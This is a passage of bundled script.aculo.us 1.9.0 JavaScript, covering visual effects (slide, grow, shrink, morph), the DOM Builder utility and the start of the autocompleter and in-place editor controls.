      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
        effect.element.undoPositioned().setStyle(oldStyle);
  }}); }}); }}); }}); }}); }});
};

Effect.SlideDown = function(element) {
  element = $(element).cleanWhitespace();
  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
  var oldInnerBottom = element.down().getStyle('bottom');
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, 100, Object.extend({
    scaleContent: false,
    scaleX: false,
    scaleFrom: window.opera ? 0 : 1,
    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
    restoreAfterFinish: true,
    afterSetup: function(effect) {
      effect.element.makePositioned();
      effect.element.down().makePositioned();
      if (window.opera) effect.element.setStyle({top: ''});
      effect.element.makeClipping().setStyle({height: '0px'}).show();
    },
    afterUpdateInternal: function(effect) {
      effect.element.down().setStyle({bottom:
        (effect.dims[0] - effect.element.clientHeight) + 'px' });
    },
    afterFinishInternal: function(effect) {
      effect.element.undoClipping().undoPositioned();
      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
    }, arguments[1] || { })
  );
};

Effect.SlideUp = function(element) {
  element = $(element).cleanWhitespace();
  var oldInnerBottom = element.down().getStyle('bottom');
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, window.opera ? 0 : 1,
   Object.extend({ scaleContent: false,
    scaleX: false,
    scaleMode: 'box',
    scaleFrom: 100,
    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
    restoreAfterFinish: true,
    afterSetup: function(effect) {
      effect.element.makePositioned();
      effect.element.down().makePositioned();
      if (window.opera) effect.element.setStyle({top: ''});
      effect.element.makeClipping().show();
    },
    afterUpdateInternal: function(effect) {
      effect.element.down().setStyle({bottom:
        (effect.dims[0] - effect.element.clientHeight) + 'px' });
    },
    afterFinishInternal: function(effect) {
      effect.element.hide().undoClipping().undoPositioned();
      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
    }
   }, arguments[1] || { })
  );
};

// Bug in opera makes the TD containing this element expand for a instance after finish
Effect.Squish = function(element) {
  return new Effect.Scale(element, window.opera ? 1 : 0, {
    restoreAfterFinish: true,
    beforeSetup: function(effect) {
      effect.element.makeClipping();
    },
    afterFinishInternal: function(effect) {
      effect.element.hide().undoClipping();
    }
  });
};

Effect.Grow = function(element) {
  element = $(element);
  var options = Object.extend({
    direction: 'center',
    moveTransition: Effect.Transitions.sinoidal,
    scaleTransition: Effect.Transitions.sinoidal,
    opacityTransition: Effect.Transitions.full
  }, arguments[1] || { });
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    height: element.style.height,
    width: element.style.width,
    opacity: element.getInlineOpacity() };

  var dims = element.getDimensions();
  var initialMoveX, initialMoveY;
  var moveX, moveY;

  switch (options.direction) {
    case 'top-left':
      initialMoveX = initialMoveY = moveX = moveY = 0;
      break;
    case 'top-right':
      initialMoveX = dims.width;
      initialMoveY = moveY = 0;
      moveX = -dims.width;
      break;
    case 'bottom-left':
      initialMoveX = moveX = 0;
      initialMoveY = dims.height;
      moveY = -dims.height;
      break;
    case 'bottom-right':
      initialMoveX = dims.width;
      initialMoveY = dims.height;
      moveX = -dims.width;
      moveY = -dims.height;
      break;
    case 'center':
      initialMoveX = dims.width / 2;
      initialMoveY = dims.height / 2;
      moveX = -dims.width / 2;
      moveY = -dims.height / 2;
      break;
  }

  return new Effect.Move(element, {
    x: initialMoveX,
    y: initialMoveY,
    duration: 0.01,
    beforeSetup: function(effect) {
      effect.element.hide().makeClipping().makePositioned();
    },
    afterFinishInternal: function(effect) {
      new Effect.Parallel(
        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
          new Effect.Scale(effect.element, 100, {
            scaleMode: { originalHeight: dims.height, originalWidth: dims.width },
            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
        ], Object.extend({
             beforeSetup: function(effect) {
               effect.effects[0].element.setStyle({height: '0px'}).show();
             },
             afterFinishInternal: function(effect) {
               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle);
             }
           }, options)
      );
    }
  });
};

Effect.Shrink = function(element) {
  element = $(element);
  var options = Object.extend({
    direction: 'center',
    moveTransition: Effect.Transitions.sinoidal,
    scaleTransition: Effect.Transitions.sinoidal,
    opacityTransition: Effect.Transitions.none
  }, arguments[1] || { });
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    height: element.style.height,
    width: element.style.width,
    opacity: element.getInlineOpacity() };

  var dims = element.getDimensions();
  var moveX, moveY;

  switch (options.direction) {
    case 'top-left':
      moveX = moveY = 0;
      break;
    case 'top-right':
      moveX = dims.width;
      moveY = 0;
      break;
    case 'bottom-left':
      moveX = 0;
      moveY = dims.height;
      break;
    case 'bottom-right':
      moveX = dims.width;
      moveY = dims.height;
      break;
    case 'center':
      moveX = dims.width / 2;
      moveY = dims.height / 2;
      break;
  }

  return new Effect.Parallel(
    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
    ], Object.extend({
         beforeStartInternal: function(effect) {
           effect.effects[0].element.makePositioned().makeClipping();
         },
         afterFinishInternal: function(effect) {
           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
       }, options)
  );
};

Effect.Pulsate = function(element) {
  element = $(element);
  var options    = arguments[1] || { },
    oldOpacity = element.getInlineOpacity(),
    transition = options.transition || Effect.Transitions.linear,
    reverser   = function(pos){
      return 1 - transition((-Math.cos((pos*(options.pulses||5)*2)*Math.PI)/2) + .5);
    };

  return new Effect.Opacity(element,
    Object.extend(Object.extend({  duration: 2.0, from: 0,
      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
    }, options), {transition: reverser}));
};

Effect.Fold = function(element) {
  element = $(element);
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    width: element.style.width,
    height: element.style.height };
  element.makeClipping();
  return new Effect.Scale(element, 5, Object.extend({
    scaleContent: false,
    scaleX: false,
    afterFinishInternal: function(effect) {
    new Effect.Scale(element, 1, {
      scaleContent: false,
      scaleY: false,
      afterFinishInternal: function(effect) {
        effect.element.hide().undoClipping().setStyle(oldStyle);
      } });
  }}, arguments[1] || { }));
};

Effect.Morph = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({
      style: { }
    }, arguments[1] || { });

    if (!Object.isString(options.style)) this.style = $H(options.style);
    else {
      if (options.style.include(':'))
        this.style = options.style.parseStyle();
      else {
        this.element.addClassName(options.style);
        this.style = $H(this.element.getStyles());
        this.element.removeClassName(options.style);
        var css = this.element.getStyles();
        this.style = this.style.reject(function(style) {
          return style.value == css[style.key];
        });
        options.afterFinishInternal = function(effect) {
          effect.element.addClassName(effect.options.style);
          effect.transforms.each(function(transform) {
            effect.element.style[transform.style] = '';
          });
        };
      }
    }
    this.start(options);
  },

  setup: function(){
    function parseColor(color){
      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
      color = color.parseColor();
      return $R(0,2).map(function(i){
        return parseInt( color.slice(i*2+1,i*2+3), 16 );
      });
    }
    this.transforms = this.style.map(function(pair){
      var property = pair[0], value = pair[1], unit = null;

      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
        value = value.parseColor();
        unit  = 'color';
      } else if (property == 'opacity') {
        value = parseFloat(value);
        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
          this.element.setStyle({zoom: 1});
      } else if (Element.CSS_LENGTH.test(value)) {
          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
          value = parseFloat(components[1]);
          unit = (components.length == 3) ? components[2] : null;
      }

      var originalValue = this.element.getStyle(property);
      return {
        style: property.camelize(),
        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0),
        targetValue: unit=='color' ? parseColor(value) : value,
        unit: unit
      };
    }.bind(this)).reject(function(transform){
      return (
        (transform.originalValue == transform.targetValue) ||
        (
          transform.unit != 'color' &&
          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
        )
      );
    });
  },
  update: function(position) {
    var style = { }, transform, i = this.transforms.length;
    while(i--)
      style[(transform = this.transforms[i]).style] =
        transform.unit=='color' ? '#'+
          (Math.round(transform.originalValue[0]+
            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
          (Math.round(transform.originalValue[1]+
            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
          (Math.round(transform.originalValue[2]+
            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
        (transform.originalValue +
          (transform.targetValue - transform.originalValue) * position).toFixed(3) +
            (transform.unit === null ? '' : transform.unit);
    this.element.setStyle(style, true);
  }
});

Effect.Transform = Class.create({
  initialize: function(tracks){
    this.tracks  = [];
    this.options = arguments[1] || { };
    this.addTracks(tracks);
  },
  addTracks: function(tracks){
    tracks.each(function(track){
      track = $H(track);
      var data = track.values().first();
      this.tracks.push($H({
        ids:     track.keys().first(),
        effect:  Effect.Morph,
        options: { style: data }
      }));
    }.bind(this));
    return this;
  },
  play: function(){
    return new Effect.Parallel(
      this.tracks.map(function(track){
        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
        var elements = [$(ids) || $$(ids)].flatten();
        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
      }).flatten(),
      this.options
    );
  }
});

Element.CSS_PROPERTIES = $w(
  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' +
  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
  'fontSize fontWeight height left letterSpacing lineHeight ' +
  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
  'right textIndent top width wordSpacing zIndex');

Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;

String.__parseStyleElement = document.createElement('div');
String.prototype.parseStyle = function(){
  var style, styleRules = $H();
  if (Prototype.Browser.WebKit)
    style = new Element('div',{style:this}).style;
  else {
    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
    style = String.__parseStyleElement.childNodes[0].style;
  }

  Element.CSS_PROPERTIES.each(function(property){
    if (style[property]) styleRules.set(property, style[property]);
  });

  if (Prototype.Browser.IE && this.include('opacity'))
    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);

  return styleRules;
};

if (document.defaultView && document.defaultView.getComputedStyle) {
  Element.getStyles = function(element) {
    var css = document.defaultView.getComputedStyle($(element), null);
    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
      styles[property] = css[property];
      return styles;
    });
  };
} else {
  Element.getStyles = function(element) {
    element = $(element);
    var css = element.currentStyle, styles;
    styles = Element.CSS_PROPERTIES.inject({ }, function(results, property) {
      results[property] = css[property];
      return results;
    });
    if (!styles.opacity) styles.opacity = element.getOpacity();
    return styles;
  };
}

Effect.Methods = {
  morph: function(element, style) {
    element = $(element);
    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
    return element;
  },
  visualEffect: function(element, effect, options) {
    element = $(element);
    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
    new Effect[klass](element, options);
    return element;
  },
  highlight: function(element, options) {
    element = $(element);
    new Effect.Highlight(element, options);
    return element;
  }
};

$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
  'pulsate shake puff squish switchOff dropOut').each(
  function(effect) {
    Effect.Methods[effect] = function(element, options){
      element = $(element);
      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
      return element;
    };
  }
);

$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each(
  function(f) { Effect.Methods[f] = Element[f]; }
);

Element.addMethods(Effect.Methods);// script.aculo.us builder.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

var Builder = {
  NODEMAP: {
    AREA: 'map',
    CAPTION: 'table',
    COL: 'table',
    COLGROUP: 'table',
    LEGEND: 'fieldset',
    OPTGROUP: 'select',
    OPTION: 'select',
    PARAM: 'object',
    TBODY: 'table',
    TD: 'table',
    TFOOT: 'table',
    TH: 'table',
    THEAD: 'table',
    TR: 'table'
  },
  // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken,
  //       due to a Firefox bug
  node: function(elementName) {
    elementName = elementName.toUpperCase();

    // try innerHTML approach
    var parentTag = this.NODEMAP[elementName] || 'div';
    var parentElement = document.createElement(parentTag);
    try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
      parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
    } catch(e) {}
    var element = parentElement.firstChild || null;

    // see if browser added wrapping tags
    if(element && (element.tagName.toUpperCase() != elementName))
      element = element.getElementsByTagName(elementName)[0];

    // fallback to createElement approach
    if(!element) element = document.createElement(elementName);

    // abort if nothing could be created
    if(!element) return;

    // attributes (or text)
    if(arguments[1])
      if(this._isStringOrNumber(arguments[1]) ||
        (arguments[1] instanceof Array) ||
        arguments[1].tagName) {
          this._children(element, arguments[1]);
        } else {
          var attrs = this._attributes(arguments[1]);
          if(attrs.length) {
            try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
              parentElement.innerHTML = "<" +elementName + " " +
                attrs + "></" + elementName + ">";
            } catch(e) {}
            element = parentElement.firstChild || null;
            // workaround firefox 1.0.X bug
            if(!element) {
              element = document.createElement(elementName);
              for(attr in arguments[1])
                element[attr == 'class' ? 'className' : attr] = arguments[1][attr];
            }
            if(element.tagName.toUpperCase() != elementName)
              element = parentElement.getElementsByTagName(elementName)[0];
          }
        }

    // text, or array of children
    if(arguments[2])
      this._children(element, arguments[2]);

     return $(element);
  },
  _text: function(text) {
     return document.createTextNode(text);
  },

  ATTR_MAP: {
    'className': 'class',
    'htmlFor': 'for'
  },

  _attributes: function(attributes) {
    var attrs = [];
    for(attribute in attributes)
      attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) +
          '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'&quot;') + '"');
    return attrs.join(" ");
  },
  _children: function(element, children) {
    if(children.tagName) {
      element.appendChild(children);
      return;
    }
    if(typeof children=='object') { // array can hold nodes and text
      children.flatten().each( function(e) {
        if(typeof e=='object')
          element.appendChild(e);
        else
          if(Builder._isStringOrNumber(e))
            element.appendChild(Builder._text(e));
      });
    } else
      if(Builder._isStringOrNumber(children))
        element.appendChild(Builder._text(children));
  },
  _isStringOrNumber: function(param) {
    return(typeof param=='string' || typeof param=='number');
  },
  build: function(html) {
    var element = this.node('div');
    $(element).update(html.strip());
    return element.down();
  },
  dump: function(scope) {
    if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope

    var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " +
      "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " +
      "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+
      "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+
      "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+
      "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);

    tags.each( function(tag){
      scope[tag] = function() {
        return Builder.node.apply(Builder, [tag].concat($A(arguments)));
      };
    });
  }
};// script.aculo.us controls.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//           (c) 2005-2010 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
//           (c) 2005-2010 Jon Tirsen (http://www.tirsen.com)
// Contributors:
//  Richard Livsey
//  Rahul Bhargava
//  Rob Wills
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

// Autocompleter.Base handles all the autocompletion functionality
// that's independent of the data source for autocompletion. This
// includes drawing the autocompletion menu, observing keyboard
// and mouse events, and similar.
//
// Specific autocompleters need to provide, at the very least,
// a getUpdatedChoices function that will be invoked every time
// the text inside the monitored textbox changes. This method
// should get the text for which to provide autocompletion by
// invoking this.getToken(), NOT by directly accessing
// this.element.value. This is to allow incremental tokenized
// autocompletion. Specific auto-completion logic (AJAX, etc)
// belongs in getUpdatedChoices.
//
// Tokenized incremental autocompletion is enabled automatically
// when an autocompleter is instantiated with the 'tokens' option
// in the options parameter, e.g.:
// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
// will incrementally autocomplete with a comma as the token.
// Additionally, ',' in the above example can be replaced with
// a token array, e.g. { tokens: [',', '\n'] } which
// enables autocompletion on multiple tokens. This is most
// useful when one of the tokens is \n (a newline), as it
// allows smart autocompletion after linebreaks.

if(typeof Effect == 'undefined')
  throw("controls.js requires including script.aculo.us' effects.js library");

var Autocompleter = { };
Autocompleter.Base = Class.create({
  baseInitialize: function(element, update, options) {
    element          = $(element);
    this.element     = element;
    this.update      = $(update);
    this.hasFocus    = false;
    this.changed     = false;
    this.active      = false;
    this.index       = 0;
    this.entryCount  = 0;
    this.oldElementValue = this.element.value;

    if(this.setOptions)
      this.setOptions(options);
    else
      this.options = options || { };

    this.options.paramName    = this.options.paramName || this.element.name;
    this.options.tokens       = this.options.tokens || [];
    this.options.frequency    = this.options.frequency || 0.4;
    this.options.minChars     = this.options.minChars || 1;
    this.options.onShow       = this.options.onShow ||
      function(element, update){
        if(!update.style.position || update.style.position=='absolute') {
          update.style.position = 'absolute';
          Position.clone(element, update, {
            setHeight: false,
            offsetTop: element.offsetHeight
          });
        }
        Effect.Appear(update,{duration:0.15});
      };
    this.options.onHide = this.options.onHide ||
      function(element, update){ new Effect.Fade(update,{duration:0.15}) };

    if(typeof(this.options.tokens) == 'string')
      this.options.tokens = new Array(this.options.tokens);
    // Force carriage returns as token delimiters anyway
    if (!this.options.tokens.include('\n'))
      this.options.tokens.push('\n');

    this.observer = null;

    this.element.setAttribute('autocomplete','off');

    Element.hide(this.update);

    Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this));
    Event.observe(this.element, 'keydown', this.onKeyPress.bindAsEventListener(this));
  },

  show: function() {
    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
    if(!this.iefix &&
      (Prototype.Browser.IE) &&
      (Element.getStyle(this.update, 'position')=='absolute')) {
      new Insertion.After(this.update,
       '<iframe id="' + this.update.id + '_iefix" '+
       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
      this.iefix = $(this.update.id+'_iefix');
    }
    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
  },

  fixIEOverlapping: function() {
    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
    this.iefix.style.zIndex = 1;
    this.update.style.zIndex = 2;
    Element.show(this.iefix);
  },

  hide: function() {
    this.stopIndicator();
    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
    if(this.iefix) Element.hide(this.iefix);
  },

  startIndicator: function() {
    if(this.options.indicator) Element.show(this.options.indicator);
  },

  stopIndicator: function() {
    if(this.options.indicator) Element.hide(this.options.indicator);
  },

  onKeyPress: function(event) {
    if(this.active)
      switch(event.keyCode) {
       case Event.KEY_TAB:
       case Event.KEY_RETURN:
         this.selectEntry();
         Event.stop(event);
       case Event.KEY_ESC:
         this.hide();
         this.active = false;
         Event.stop(event);
         return;
       case Event.KEY_LEFT:
       case Event.KEY_RIGHT:
         return;
       case Event.KEY_UP:
         this.markPrevious();
         this.render();
         Event.stop(event);
         return;
       case Event.KEY_DOWN:
         this.markNext();
         this.render();
         Event.stop(event);
         return;
      }
     else
       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN ||
         (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return;

    this.changed = true;
    this.hasFocus = true;

    if(this.observer) clearTimeout(this.observer);
      this.observer =
        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
  },

  activate: function() {
    this.changed = false;
    this.hasFocus = true;
    this.getUpdatedChoices();
  },

  onHover: function(event) {
    var element = Event.findElement(event, 'LI');
    if(this.index != element.autocompleteIndex)
    {
        this.index = element.autocompleteIndex;
        this.render();
    }
    Event.stop(event);
  },

  onClick: function(event) {
    var element = Event.findElement(event, 'LI');
    this.index = element.autocompleteIndex;
    this.selectEntry();
    this.hide();
  },

  onBlur: function(event) {
    // needed to make click events working
    setTimeout(this.hide.bind(this), 250);
    this.hasFocus = false;
    this.active = false;
  },

  render: function() {
    if(this.entryCount > 0) {
      for (var i = 0; i < this.entryCount; i++)
        this.index==i ?
          Element.addClassName(this.getEntry(i),"selected") :
          Element.removeClassName(this.getEntry(i),"selected");
      if(this.hasFocus) {
        this.show();
        this.active = true;
      }
    } else {
      this.active = false;
      this.hide();
    }
  },

  markPrevious: function() {
    if(this.index > 0) this.index--;
      else this.index = this.entryCount-1;
    this.getEntry(this.index).scrollIntoView(true);
  },

  markNext: function() {
    if(this.index < this.entryCount-1) this.index++;
      else this.index = 0;
    this.getEntry(this.index).scrollIntoView(false);
  },

  getEntry: function(index) {
    return this.update.firstChild.childNodes[index];
  },

  getCurrentEntry: function() {
    return this.getEntry(this.index);
  },

  selectEntry: function() {
    this.active = false;
    this.updateElement(this.getCurrentEntry());
  },

  updateElement: function(selectedElement) {
    if (this.options.updateElement) {
      this.options.updateElement(selectedElement);
      return;
    }
    var value = '';
    if (this.options.select) {
      var nodes = $(selectedElement).select('.' + this.options.select) || [];
      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
    } else
      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');

    var bounds = this.getTokenBounds();
    if (bounds[0] != -1) {
      var newValue = this.element.value.substr(0, bounds[0]);
      var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/);
      if (whitespace)
        newValue += whitespace[0];
      this.element.value = newValue + value + this.element.value.substr(bounds[1]);
    } else {
      this.element.value = value;
    }
    this.oldElementValue = this.element.value;
    this.element.focus();

    if (this.options.afterUpdateElement)
      this.options.afterUpdateElement(this.element, selectedElement);
  },

  updateChoices: function(choices) {
    if(!this.changed && this.hasFocus) {
      this.update.innerHTML = choices;
      Element.cleanWhitespace(this.update);
      Element.cleanWhitespace(this.update.down());

      if(this.update.firstChild && this.update.down().childNodes) {
        this.entryCount =
          this.update.down().childNodes.length;
        for (var i = 0; i < this.entryCount; i++) {
          var entry = this.getEntry(i);
          entry.autocompleteIndex = i;
          this.addObservers(entry);
        }
      } else {
        this.entryCount = 0;
      }

      this.stopIndicator();
      this.index = 0;

      if(this.entryCount==1 && this.options.autoSelect) {
        this.selectEntry();
        this.hide();
      } else {
        this.render();
      }
    }
  },

  addObservers: function(element) {
    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
  },

  onObserverEvent: function() {
    this.changed = false;
    this.tokenBounds = null;
    if(this.getToken().length>=this.options.minChars) {
      this.getUpdatedChoices();
    } else {
      this.active = false;
      this.hide();
    }
    this.oldElementValue = this.element.value;
  },

  getToken: function() {
    var bounds = this.getTokenBounds();
    return this.element.value.substring(bounds[0], bounds[1]).strip();
  },

  getTokenBounds: function() {
    if (null != this.tokenBounds) return this.tokenBounds;
    var value = this.element.value;
    if (value.strip().empty()) return [-1, 0];
    var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue);
    var offset = (diff == this.oldElementValue.length ? 1 : 0);
    var prevTokenPos = -1, nextTokenPos = value.length;
    var tp;
    for (var index = 0, l = this.options.tokens.length; index < l; ++index) {
      tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1);
      if (tp > prevTokenPos) prevTokenPos = tp;
      tp = value.indexOf(this.options.tokens[index], diff + offset);
      if (-1 != tp && tp < nextTokenPos) nextTokenPos = tp;
    }
    return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]);
  }
});

Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) {
  var boundary = Math.min(newS.length, oldS.length);
  for (var index = 0; index < boundary; ++index)
    if (newS[index] != oldS[index])
      return index;
  return boundary;
};

Ajax.Autocompleter = Class.create(Autocompleter.Base, {
  initialize: function(element, update, url, options) {
    this.baseInitialize(element, update, options);
    this.options.asynchronous  = true;
    this.options.onComplete    = this.onComplete.bind(this);
    this.options.defaultParams = this.options.parameters || null;
    this.url                   = url;
  },

  getUpdatedChoices: function() {
    this.startIndicator();

    var entry = encodeURIComponent(this.options.paramName) + '=' +
      encodeURIComponent(this.getToken());

    this.options.parameters = this.options.callback ?
      this.options.callback(this.element, entry) : entry;

    if(this.options.defaultParams)
      this.options.parameters += '&' + this.options.defaultParams;

    new Ajax.Request(this.url, this.options);
  },

  onComplete: function(request) {
    this.updateChoices(request.responseText);
  }
});

// The local array autocompleter. Used when you'd prefer to
// inject an array of autocompletion options into the page, rather
// than sending out Ajax queries, which can be quite slow sometimes.
//
// The constructor takes four parameters. The first two are, as usual,
// the id of the monitored textbox, and id of the autocompletion menu.
// The third is the array you want to autocomplete from, and the fourth
// is the options block.
//
// Extra local autocompletion options:
// - choices - How many autocompletion choices to offer
//
// - partialSearch - If false, the autocompleter will match entered
//                    text only at the beginning of strings in the
//                    autocomplete array. Defaults to true, which will
//                    match text at the beginning of any *word* in the
//                    strings in the autocomplete array. If you want to
//                    search anywhere in the string, additionally set
//                    the option fullSearch to true (default: off).
//
// - fullSsearch - Search anywhere in autocomplete array strings.
//
// - partialChars - How many characters to enter before triggering
//                   a partial match (unlike minChars, which defines
//                   how many characters are required to do any match
//                   at all). Defaults to 2.
//
// - ignoreCase - Whether to ignore case when autocompleting.
//                 Defaults to true.
//
// It's possible to pass in a custom function as the 'selector'
// option, if you prefer to write your own autocompletion logic.
// In that case, the other options above will not apply unless
// you support them.

Autocompleter.Local = Class.create(Autocompleter.Base, {
  initialize: function(element, update, array, options) {
    this.baseInitialize(element, update, options);
    this.options.array = array;
  },

  getUpdatedChoices: function() {
    this.updateChoices(this.options.selector(this));
  },

  setOptions: function(options) {
    this.options = Object.extend({
      choices: 10,
      partialSearch: true,
      partialChars: 2,
      ignoreCase: true,
      fullSearch: false,
      selector: function(instance) {
        var ret       = []; // Beginning matches
        var partial   = []; // Inside matches
        var entry     = instance.getToken();
        var count     = 0;

        for (var i = 0; i < instance.options.array.length &&
          ret.length < instance.options.choices ; i++) {

          var elem = instance.options.array[i];
          var foundPos = instance.options.ignoreCase ?
            elem.toLowerCase().indexOf(entry.toLowerCase()) :
            elem.indexOf(entry);

          while (foundPos != -1) {
            if (foundPos == 0 && elem.length != entry.length) {
              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" +
                elem.substr(entry.length) + "</li>");
              break;
            } else if (entry.length >= instance.options.partialChars &&
              instance.options.partialSearch && foundPos != -1) {
              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
                  foundPos + entry.length) + "</li>");
                break;
              }
            }

            foundPos = instance.options.ignoreCase ?
              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) :
              elem.indexOf(entry, foundPos + 1);

          }
        }
        if (partial.length)
          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length));
        return "<ul>" + ret.join('') + "</ul>";
      }
    }, options || { });
  }
});

// AJAX in-place editor and collection editor
// Full rewrite by Christophe Porteneuve <tdd@tddsworld.com> (April 2007).

// Use this if you notice weird scrolling problems on some browsers,
// the DOM might be a bit confused when this gets called so do this
// waits 1 ms (with setTimeout) until it does the activation
Field.scrollFreeActivate = function(field) {
  setTimeout(function() {
    Field.activate(field);
  }, 1);
};

Ajax.InPlaceEditor = Class.create({
  initialize: function(element, url, options) {
    this.url = url;
    this.element = element = $(element);
    this.prepareOptions();
    this._controls = { };
    arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!!
    Object.extend(this.options, options || { });
    if (!this.options.formId && this.element.id) {
